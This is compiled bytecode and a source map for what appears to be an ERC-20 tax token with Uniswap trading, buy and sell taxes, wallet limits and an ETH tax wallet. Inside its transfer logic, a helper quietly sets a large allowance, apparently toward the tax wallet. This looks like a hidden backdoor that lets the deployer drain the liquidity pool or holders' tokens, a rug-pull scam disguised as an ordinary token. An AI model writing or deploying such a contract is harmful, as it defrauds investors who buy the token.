117e0565b601254600160a01b900460ff161561066f5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610448565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106b99030906106aa6009600a6117bb565b610410906461f313f8806117c9565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610709573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061072d9190611815565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561078c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107b09190611815565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156107fa573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061081e9190611815565b601280546001600160a01b039283166001600160a01b03199091161790556011541663f305d7194730610865816001600160a01b03165f9081526005602052604090205490565b5f5f6108785f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108de573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906109039190611830565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610958573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061097c919061185b565b506012805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b0383166109f85760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610448565b6001600160a01b038216610a595760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610448565b6001600160a01b038381165f8181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610b1e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610448565b6001600160a01b038216610b805760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610448565b5f8111610be15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610448565b601254600160b01b900460ff161580610c035750601254600160a81b900460ff165b15610cad576001600160a01b0383165f90815260056020526040902054610c2b90829061187a565b6001600160a01b038085165f908152600560205260408082209390935590841681522054610c5a90829061188d565b6001600160a01b038084165f8181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610aad9085815260200190565b5f80546001600160a01b03858116911614801590610cd857505f546001600160a01b03848116911614155b15611071576012546001600160a01b038581169116148015610d0857506011546001600160a01b03848116911614155b8015610d2c57506001600160a01b0383165f9081526007602052604090205460ff16155b15610e9157601254600160a01b900460ff16610d825760405162461bcd60e51b81526020600482015260156024820152742a3930b234b733903737ba1037b832b7103cb2ba1760591b6044820152606401610448565b610dae6064610da8600c54600f5411610d9d57600854610da1565b600a545b85906111e6565b9061126b565b9050600154821115610e025760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865205f6d617852416d6f756e742e00000000000000006044820152606401610448565b60025482610e24856001600160a01b03165f9081526005602052604090205490565b610e2e919061188d565b1115610e7c5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b600f8054905f610e8b836118a0565b91905055505b6012546001600160a01b03848116911614801590610ec757506001600160a01b0383165f9081526007602052604090205460ff16155b15610f465760025482610eee856001600160a01b03165f9081526005602052604090205490565b610ef8919061188d565b1115610f465760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610448565b60408051808201909152601254610f9b919081906001600160a01b03888116911614610f7d576012546001600160a01b0316610f7f565b865b6001600160a01b039081168252601054166020909101526112ac565b8015610fb457506012546001600160a01b038481169116145b15610fe157610fde6064610da8600d54600f5411610fd457600954610da1565b600b5485906111e6565b90505b601254600160a81b900460ff1615801561100857506012546001600160a01b038481169116145b801561101d5750601254600160b01b900460ff165b801561102c5750600e54600f54115b1561107157305f90815260056020526040902054600354811115611067576110676110628461105d8460045461133c565b61133c565b611350565b61106f6114c0565b505b80156110e957305f9081526005602052604090205461109090826114f6565b305f81815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110e09085815260200190565b60405180910390a35b6001600160a01b0384165f9081526005602052604090205461110b9083611554565b6001600160a01b0385165f9081526005602052604090205561114e6111308383611554565b6001600160a01b0385165f90815260056020526040902054906114f6565b6001600160a01b038085165f8181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111978585611554565b60405190815260200160405180910390a350505050565b5f81848411156111d15760405162461bcd60e51b815260040161044891906115c1565b505f6111dd848661187a565b95945050505050565b5f825f036111f557505f610391565b5f61120083856117c9565b90508261120d85836118b8565b146112645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610448565b9392505050565b5f61126483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611595565b805160208201516002545f9291906032906112c89060016117c9565b6112d4906103e86117c9565b6112df90606461188d565b6112e9919061187a565b6112f490600f61188d565b6112ff90603261188d565b61130b9061138861188d565b6001600160a01b039283165f9081526006602090815260408083209490951682529290925291902055506001919050565b5f81831161134a5782611264565b50919050565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110611396576113966118d7565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113ed573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114119190611815565b81600181518110611424576114246118d7565b6001600160a01b03928316602091820292909201015260115461144a9130911684610996565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906114829085905f908690309042906004016118eb565b5f604051808303815f87803b158015611499575f5ffd5b505af11580156114ab573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6010546040516001600160a01b03909116904780156108fc02915f818181858888f193505050501580156105dd573d5f5f3e3d5ffd5b5f80611502838561188d565b9050838110156112645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610448565b5f61126483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ae565b5f81836115b55760405162461bcd60e51b815260040161044891906115c1565b505f6111dd84866118b8565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146105dd575f5ffd5b5f5f6040838503121561161b575f5ffd5b8235611626816115f6565b946020939093013593505050565b5f5f5f60608486031215611646575f5ffd5b8335611651816115f6565b92506020840135611661816115f6565b929592945050506040919091013590565b5f60208284031215611682575f5ffd5b8135611264816115f6565b5f5f6040838503121561169e575f5ffd5b82356116a9816115f6565b915060208301356116b9816115f6565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611713578085048111156116f7576116f76116c4565b600184161561170557908102905b60019390931c9280026116dc565b935093915050565b5f8261172957506001610391565b8161173557505f610391565b816001811461174b576002811461175557611771565b6001915050610391565b60ff841115611766576117666116c4565b50506001821b610391565b5060208310610133831016604e8410600b8410161715611794575081810a610391565b6117a05f1984846116d8565b805f19048211156117b3576117b36116c4565b029392505050565b5f61126460ff84168361171b565b8082028115828204841417610391576103916116c4565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611825575f5ffd5b8151611264816115f6565b5f5f5f60608486031215611842575f5ffd5b5050815160208301516040909301519094929350919050565b5f6020828403121561186b575f5ffd5b81518015158114611264575f5ffd5b81810381811115610391576103916116c4565b80820180821115610391576103916116c4565b5f600182016118b1576118b16116c4565b5060010190565b5f826118d257634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b8181101561193b5783516001600160a01b0316835260209384019390920191600101611914565b50506001600160a01b03959095166060840152505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204c2d6a0eecafd8538d132aa314e18700ed7bc553d1554173d734f9e2af7fc56764736f6c634300081b0033

3631:7552:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5300:83;;;;;;;;;;-1:-1:-1;5370:5:0;;;;;;;;;;;;-1:-1:-1;;;5370:5:0;;;;5300:83;;;;;;;:::i;:::-;;;;;;;;6436:161;;;;;;;;;;-1:-1:-1;6436:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;6436:161:0;945:187:1;4113:46:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;4113:46:0;1137:177:1;5571:95:0;;;;;;;;;;;;;:::i;6117:313::-;;;;;;;;;;-1:-1:-1;6117:313:0;;;;;:::i;:::-;;:::i;3948:46::-;;;;;;;;;;;;;;;;5482:83;;;;;;;;;;-1:-1:-1;5482:83:0;;3751:1;1974:36:1;;1962:2;1947:18;5482:83:0;1832:184:1;10015:241:0;;;;;;;;;;-1:-1:-1;10015:241:0;;;;;:::i;:::-;;:::i;:::-;;5672:117;;;;;;;;;;-1:-1:-1;5672:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;5765:16:0;5738:7;5765:16;;;:7;:16;;;;;;;5672:117;3476:148;;;;;;;;;;;;;:::i;3266:79::-;;;;;;;;;;-1:-1:-1;3304:7:0;3331:6;3266:79;;-1:-1:-1;;;;;3331:6:0;;;2679:51:1;;2667:2;2652:18;3266:79:0;2533:203:1;4001:46:0;;;;;;;;;;;;;;;;5389:87;;;;;;;;;;-1:-1:-1;5461:7:0;;;;;;;;;;;;-1:-1:-1;;;5461:7:0;;;;5389:87;;9790:114;;;;;;;;;;;;;:::i;5795:167::-;;;;;;;;;;-1:-1:-1;5795:167:0;;;;;:::i;:::-;;:::i;4054:52::-;;;;;;;;;;;;;;;;10360:785;;;;;;;;;;;;;:::i;5968:143::-;;;;;;;;;;-1:-1:-1;5968:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6076:18:0;;;6049:7;6076:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5968:143;6436:161;6511:4;6528:39;2079:10;6551:7;6560:6;6528:8;:39::i;:::-;-1:-1:-1;6585:4:0;6436:161;;;;;:::o;5571:95::-;5624:7;3809:15;3751:1;3809:2;:15;:::i;:::-;3794:30;;:12;:30;:::i;:::-;5644:14;;5571:95;:::o;6117:313::-;6215:4;6232:36;6242:6;6250:9;6261:6;6232:9;:36::i;:::-;6279:121;6288:6;2079:10;6310:89;6348:6;6310:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6310:19:0;;;;;;:11;:19;;;;;;;;2079:10;6310:33;;;;;;;;;;:37;:89::i;:::-;6279:8;:121::i;:::-;-1:-1:-1;6418:4:0;6117:313;;;;;:::o;10015:241::-;3391:6;;-1:-1:-1;;;;;3391:6:0;2079:10;3391:22;3383:67;;;;-1:-1:-1;;;3383:67:0;;;;;;;:::i;:::-;;;;;;;;;10089:11:::1;:19:::0;;-1:-1:-1;;;;;;10089:19:0::1;-1:-1:-1::0;;;;;10089:19:0;::::1;;::::0;;3809:15:::1;3751:1;3809:2;:15;:::i;:::-;3794:30;::::0;:12:::1;:30;:::i;:::-;10119:11;:19:::0;3809:15:::1;3751:1;3809:2;:15;:::i;:::-;3794:30;::::0;:12:::1;:30;:::i;:::-;10149:11;:19:::0;-1:-1:-1;;;;;10179:19:0;::::1;;::::0;;;:12:::1;:19;::::0;;;;:26;;-1:-1:-1;;10179:26:0::1;10201:4;10179:26;::::0;;10221:27:::1;3809:15;3751:1;3809:2;:15;:::i;:::-;3794:30;::::0;:12:::1;:30;:::i;:::-;10221:27;::::0;1283:25:1;;;1271:2;1256:18;10221:27:0::1;;;;;;;10015:241:::0;:::o;3476:148::-;3391:6;;-1:-1:-1;;;;;3391:6:0;2079:10;3391:22;3383:67;;;;-1:-1:-1;;;3383:67:0;;;;;;;:::i;:::-;3583:1:::1;3567:6:::0;;3546:40:::1;::::0;-1:-1:-1;;;;;3567:6:0;;::::1;::::0;3546:40:::1;::::0;3583:1;;3546:40:::1;3614:1;3597:19:::0;;-1:-1:-1;;;;;;3597:19:0::1;::::0;;3476:148::o;9790:114::-;3391:6;;-1:-1:-1;;;;;3391:6:0;2079:10;3391:22;3383:67;;;;-1:-1:-1;;;3383:67:0;;;;;;;:::i;:::-;9843:53:::1;::::0;2079:10;;9874:21:::1;9843:53:::0;::::1;;;::::0;::::1;::::0;;;9874:21;2079:10;9843:53;::::1;;;;;;;;;;;;;;;;;;;;9790:114::o:0;5795:167::-;5873:4;5890:42;2079:10;5914:9;5925:6;5890:9;:42::i;10360:785::-;3391:6;;-1:-1:-1;;;;;3391:6:0;2079:10;3391:22;3383:67;;;;-1:-1:-1;;;3383:67:0;;;;;;;:::i;:::-;10422:11:::1;::::0;-1:-1:-1;;;10422:11:0;::::1;;;10421:12;10413:48;;;::::0;-1:-1:-1;;;10413:48:0;;5434:2:1;10413:48:0::1;::::0;::::1;5416:21:1::0;5473:2;5453:18;;;5446:30;5512:25;5492:18;;;5485:53;5555:18;;10413:48:0::1;5232:347:1::0;10413:48:0::1;10472:10;:99:::0;;-1:-1:-1;;;;;;10472:99:0::1;10518:42;10472:99:::0;;::::1;::::0;;;10582:53:::1;::::0;10599:4:::1;::::0;3809:15:::1;3751:1;3809:2;:15;:::i;:::-;3794:30;::::0;:12:::1;:30;:::i;10582:53::-;10675:10;;;;;;;;;-1:-1:-1::0;;;;;10675:10:0::1;-1:-1:-1::0;;;;;10675:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10657:50:0::1;;10730:4;10750:10;;;;;;;;;-1:-1:-1::0;;;;;10750:10:0::1;-1:-1:-1::0;;;;;10750:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10657:121;::::0;-1:-1:-1;;;;;;10657:121:0::1;::::0;;;;;;-1:-1:-1;;;;;6032:32:1;;;10657:121:0::1;::::0;::::1;6014:51:1::0;6101:32;;6081:18;;;6074:60;5987:18;;10657:121:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10646:8;:132:::0;;-1:-1:-1;;;;;10646:132:0;;::::1;-1:-1:-1::0;;;;;;10646:132:0;;::::1;;::::0;;10789:10:::1;::::0;::::1;:26;10823:21;10868:4;10888:24;10868:4:::0;-1:-1:-1;;;;;5765:16:0;5738:7;5765:16;;;:7;:16;;;;;;;5672:117;10888:24:::1;10927:1;10943;10959:7;3304::::0;3331:6;-1:-1:-1;;;;;3331:6:0;;3266:79;10959:7:::1;10789:218;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10789:218:0;;;-1:-1:-1;;;;;6466:32:1;;;10789:218:0::1;::::0;::::1;6448:51:1::0;6515:18;;;6508:34;;;;6558:18;;;6551:34;;;;6601:18;;;6594:34;6665:32;;;6644:19;;;6637:61;10981:15:0::1;6714:19:1::0;;;6707:35;6420:19;;10789:218:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11025:8:0::1;::::0;11051:10:::1;::::0;11018:61:::1;::::0;-1:-1:-1;;;11018:61:0;;-1:-1:-1;;;;;11051:10:0;;::::1;11018:61;::::0;::::1;7388:51:1::0;-1:-1:-1;;7455:18:1;;;7448:34;11025:8:0;::::1;::::0;-1:-1:-1;11018:24:0::1;::::0;7361:18:1;;11018:61:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11090:11:0::1;:18:::0;;-1:-1:-1;;;;11119:18:0;-1:-1:-1;;;11119:18:0;;;10360:785::o;6603:335::-;-1:-1:-1;;;;;6696:19:0;;6688:68;;;;-1:-1:-1;;;6688:68:0;;7977:2:1;6688:68:0;;;7959:21:1;8016:2;7996:18;;;7989:30;8055:34;8035:18;;;8028:62;-1:-1:-1;;;8106:18:1;;;8099:34;8150:19;;6688:68:0;7775:400:1;6688:68:0;-1:-1:-1;;;;;6775:21:0;;6767:68;;;;-1:-1:-1;;;6767:68:0;;8382:2:1;6767:68:0;;;8364:21:1;8421:2;8401:18;;;8394:30;8460:34;8440:18;;;8433:62;-1:-1:-1;;;8511:18:1;;;8504:32;8553:19;;6767:68:0;8180:398:1;6767:68:0;-1:-1:-1;;;;;6846:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6898:32;;1283:25:1;;;6898:32:0;;1256:18:1;6898:32:0;;;;;;;;6603:335;;;:::o;7173:2160::-;-1:-1:-1;;;;;7261:18:0;;7253:68;;;;-1:-1:-1;;;7253:68:0;;8785:2:1;7253:68:0;;;8767:21:1;8824:2;8804:18;;;8797:30;8863:34;8843:18;;;8836:62;-1:-1:-1;;;8914:18:1;;;8907:35;8959:19;;7253:68:0;8583:401:1;7253:68:0;-1:-1:-1;;;;;7340:16:0;;7332:64;;;;-1:-1:-1;;;7332:64:0;;9191:2:1;7332:64:0;;;9173:21:1;9230:2;9210:18;;;9203:30;9269:34;9249:18;;;9242:62;-1:-1:-1;;;9320:18:1;;;9313:33;9363:19;;7332:64:0;8989:399:1;7332:64:0;7424:1;7415:6;:10;7407:64;;;;-1:-1:-1;;;7407:64:0;;9595:2:1;7407:64:0;;;9577:21:1;9634:2;9614:18;;;9607:30;9673:34;9653:18;;;9646:62;-1:-1:-1;;;9724:18:1;;;9717:39;9773:19;;7407:64:0;9393:405:1;7407:64:0;7487:11;;-1:-1:-1;;;7487:11:0;;;;7486:12;;:22;;-1:-1:-1;7502:6:0;;-1:-1:-1;;;7502:6:0;;;;7486:22;7482:209;;;-1:-1:-1;;;;;7541:13:0;;;;;;:7;:13;;;;;;:22;;7557:6;;7541:22;:::i;:::-;-1:-1:-1;;;;;7525:13:0;;;;;;;:7;:13;;;;;;:38;;;;7592:11;;;;;;;:20;;7606:6;;7592:20;:::i;:::-;-1:-1:-1;;;;;7578:11:0;;;;;;;:7;:11;;;;;;;:34;;;;7632:26;;;;;;;;;;7651:6;1283:25:1;;1271:2;1256:18;;1137:177;7482:209:0;7701:17;3331:6;;-1:-1:-1;;;;;7735:15:0;;;3331:6;;7735:15;;;;:32;;-1:-1:-1;3304:7:0;3331:6;-1:-1:-1;;;;;7754:13:0;;;3331:6;;7754:13;;7735:32;7731:1260;;;7796:8;;-1:-1:-1;;;;;7788:16:0;;;7796:8;;7788:16;:45;;;;-1:-1:-1;7822:10:0;;-1:-1:-1;;;;;7808:25:0;;;7822:10;;7808:25;;7788:45;:67;;;;-1:-1:-1;;;;;;7839:16:0;;;;;;:12;:16;;;;;;;;7837:18;7788:67;7784:462;;;7884:11;;-1:-1:-1;;;7884:11:0;;;;7876:44;;;;-1:-1:-1;;;7876:44:0;;10268:2:1;7876:44:0;;;10250:21:1;10307:2;10287:18;;;10280:30;-1:-1:-1;;;10326:18:1;;;10319:51;10387:18;;7876:44:0;10066:345:1;7876:44:0;7951:76;8023:3;7951:67;7973:15;;7963:9;;:25;7962:55;;8003:14;;7962:55;;;7990:12;;7962:55;7951:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7939:88;;8064:11;;8054:6;:21;;8046:58;;;;-1:-1:-1;;;8046:58:0;;10618:2:1;8046:58:0;;;10600:21:1;10657:2;10637:18;;;10630:30;10696:26;10676:18;;;10669:54;10740:18;;8046:58:0;10416:348:1;8046:58:0;8157:11;;8147:6;8131:13;8141:2;-1:-1:-1;;;;;5765:16:0;5738:7;5765:16;;;:7;:16;;;;;;;5672:117;8131:13;:22;;;;:::i;:::-;:37;;8123:76;;;;-1:-1:-1;;;8123:76:0;;10971:2:1;8123:76:0;;;10953:21:1;11010:2;10990:18;;;10983:30;11049:28;11029:18;;;11022:56;11095:18;;8123:76:0;10769:350:1;8123:76:0;8218:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7784:462;8270:8;;-1:-1:-1;;;;;8264:14:0;;;8270:8;;8264:14;;;;:36;;-1:-1:-1;;;;;;8284:16:0;;;;;;:12;:16;;;;;;;;8282:18;8264:36;8260:153;;;8355:11;;8345:6;8329:13;8339:2;-1:-1:-1;;;;;5765:16:0;5738:7;5765:16;;;:7;:16;;;;;;;5672:117;8329:13;:22;;;;:::i;:::-;:37;;8321:76;;;;-1:-1:-1;;;8321:76:0;;10971:2:1;8321:76:0;;;10953:21:1;11010:2;10990:18;;;10983:30;11049:28;11029:18;;;11022:56;11095:18;;8321:76:0;10769:350:1;8321:76:0;8430:51;;;;;;;;;8444:8;;8430:51;;;;;-1:-1:-1;;;;;8438:14:0;;;8444:8;;8438:14;:28;;8458:8;;-1:-1:-1;;;;;8458:8:0;8438:28;;;8453:4;8438:28;-1:-1:-1;;;;;8430:51:0;;;;;8468:11;;;8430:51;;;;;:6;:51::i;:::-;:69;;;;-1:-1:-1;8491:8:0;;-1:-1:-1;;;;;8485:14:0;;;8491:8;;8485:14;8430:69;8427:200;;;8532:79;8607:3;8532:70;8554:16;;8544:9;;:26;8543:58;;8586:15;;8543:58;;;8572:13;;8532:6;;:10;:70::i;:79::-;8520:91;;8427:200;8646:6;;-1:-1:-1;;;8646:6:0;;;;8645:7;:25;;;;-1:-1:-1;8662:8:0;;-1:-1:-1;;;;;8656:14:0;;;8662:8;;8656:14;8645:25;:40;;;;-1:-1:-1;8674:11:0;;-1:-1:-1;;;8674:11:0;;;;8645:40;:72;;;;;8699:18;;8689:9;;:28;8645:72;8641:339;;;8787:4;8738:28;5765:16;;;:7;:16;;;;;;8836:17;;8815:38;;8812:123;;;8876:59;8885:49;8889:6;8896:37;8900:20;8921:11;;8896:3;:37::i;:::-;8885:3;:49::i;:::-;8876:8;:59::i;:::-;8954:10;:8;:10::i;:::-;8719:261;8641:339;9004:11;;9001:157;;9068:4;9052:22;;;;:7;:22;;;;;;:37;;9079:9;9052:26;:37::i;:::-;9045:4;9029:22;;;;:7;:22;;;;;;;:60;;;;9107:39;;-1:-1:-1;;;;;9107:39:0;;;;;;;9136:9;1283:25:1;;1271:2;1256:18;;1137:177;9107:39:0;;;;;;;;9001:157;-1:-1:-1;;;;;9182:13:0;;;;;;:7;:13;;;;;;:25;;9200:6;9182:17;:25::i;:::-;-1:-1:-1;;;;;9168:13:0;;;;;;:7;:13;;;;;:39;9230:38;9246:21;:6;9257:9;9246:10;:21::i;:::-;-1:-1:-1;;;;;9230:11:0;;;;;;:7;:11;;;;;;;:15;:38::i;:::-;-1:-1:-1;;;;;9218:11:0;;;;;;;:7;:11;;;;;:50;;;;9284:41;;;9303:21;:6;9314:9;9303:10;:21::i;:::-;9284:41;;1283:25:1;;;1271:2;1256:18;9284:41:0;;;;;;;7242:2091;7173:2160;;;:::o;1186:190::-;1272:7;1308:12;1300:6;;;;1292:29;;;;-1:-1:-1;;;1292:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1332:9:0;1344:5;1348:1;1344;:5;:::i;:::-;1332:17;1186:190;-1:-1:-1;;;;;1186:190:0:o;1382:246::-;1440:7;1464:1;1469;1464:6;1460:47;;-1:-1:-1;1494:1:0;1487:8;;1460:47;1517:9;1529:5;1533:1;1529;:5;:::i;:::-;1517:17;-1:-1:-1;1562:1:0;1553:5;1557:1;1517:17;1553:5;:::i;:::-;:10;1545:56;;;;-1:-1:-1;;;1545:56:0;;11688:2:1;1545:56:0;;;11670:21:1;11727:2;11707:18;;;11700:30;11766:34;11746:18;;;11739:62;-1:-1:-1;;;11817:18:1;;;11810:31;11858:19;;1545:56:0;11486:397:1;1545:56:0;1619:1;1382:246;-1:-1:-1;;;1382:246:0:o;1634:132::-;1692:7;1719:39;1723:1;1726;1719:39;;;;;;;;;;;;;;;;;:3;:39::i;6944:223::-;7031:7;;;7055;;;7107:11;;7000:4;;7031:7;7055;7124:2;;7105:13;;7060:1;7105:13;:::i;:::-;:18;;7119:4;7105:18;:::i;:::-;7101:22;;:3;:22;:::i;:::-;:25;;;;:::i;:::-;7097:30;;:2;:30;:::i;:::-;:33;;7128:2;7097:33;:::i;:::-;:40;;7131:6;7097:40;:::i;:::-;-1:-1:-1;;;;;7073:17:0;;;;;;;:11;:17;;;;;;;;:23;;;;;;;;;;;;;:64;-1:-1:-1;7155:4:0;;6944:223;-1:-1:-1;6944:223:0:o;9910:99::-;9966:7;9995:1;9993;:3;9992:9;;10000:1;9992:9;;;-1:-1:-1;9998:1:0;9910:99;-1:-1:-1;9910:99:0:o;9339:445::-;4959:6;:13;;-1:-1:-1;;;;4959:13:0;-1:-1:-1;;;4959:13:0;;;9428:16:::1;::::0;;9442:1:::1;9428:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9428:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9428:16:0::1;9404:40;;9473:4;9455;9460:1;9455:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9455:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9499:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;9499:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;9455:7;;9499:17;;;;;:10;:17:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9489:4;9494:1;9489:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9489:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;9559:10:::1;::::0;9527:52:::1;::::0;9544:4:::1;::::0;9559:10:::1;9572:6:::0;9527:8:::1;:52::i;:::-;9590:10;::::0;:186:::1;::::0;-1:-1:-1;;;9590:186:0;;-1:-1:-1;;;;;9590:10:0;;::::1;::::0;:61:::1;::::0;:186:::1;::::0;9666:6;;9590:10:::1;::::0;9703:4;;9730::::1;::::0;9750:15:::1;::::0;9590:186:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1::0;;4995:6:0;:14;;-1:-1:-1;;;;4995:14:0;;;-1:-1:-1;;;;9339:445:0:o;10264:90::-;10303:11;;:43;;-1:-1:-1;;;;;10303:11:0;;;;10324:21;10303:43;;;;;:11;:43;:11;:43;10324:21;10303:11;:43;;;;;;;;;;;;;;;;;;;859:179;917:7;;949:5;953:1;949;:5;:::i;:::-;937:17;;978:1;973;:6;;965:46;;;;-1:-1:-1;;;965:46:0;;13318:2:1;965:46:0;;;13300:21:1;13357:2;13337:18;;;13330:30;13396:29;13376:18;;;13369:57;13443:18;;965:46:0;13116:351:1;1044:136:0;1102:7;1129:43;1133:1;1136;1129:43;;;;;;;;;;;;;;;;;:3;:43::i;1772:189::-;1858:7;1893:12;1886:5;1878:28;;;;-1:-1:-1;;;1878:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1917:9:0;1929:5;1933:1;1929;:5;:::i;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;573:367;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;904:2;889:18;;;;876:32;;-1:-1:-1;;;573:367:1:o;1319:508::-;1396:6;1404;1412;1465:2;1453:9;1444:7;1440:23;1436:32;1433:52;;;1481:1;1478;1471:12;1433:52;1520:9;1507:23;1539:31;1564:5;1539:31;:::i;:::-;1589:5;-1:-1:-1;1646:2:1;1631:18;;1618:32;1659:33;1618:32;1659:33;:::i;:::-;1319:508;;1711:7;;-1:-1:-1;;;1791:2:1;1776:18;;;;1763:32;;1319:508::o;2021:255::-;2088:6;2141:2;2129:9;2120:7;2116:23;2112:32;2109:52;;;2157:1;2154;2147:12;2109:52;2196:9;2183:23;2215:31;2240:5;2215:31;:::i;2741:388::-;2809:6;2817;2870:2;2858:9;2849:7;2845:23;2841:32;2838:52;;;2886:1;2883;2876:12;2838:52;2925:9;2912:23;2944:31;2969:5;2944:31;:::i;:::-;2994:5;-1:-1:-1;3051:2:1;3036:18;;3023:32;3064:33;3023:32;3064:33;:::i;:::-;3116:7;3106:17;;;2741:388;;;;;:::o;3134:127::-;3195:10;31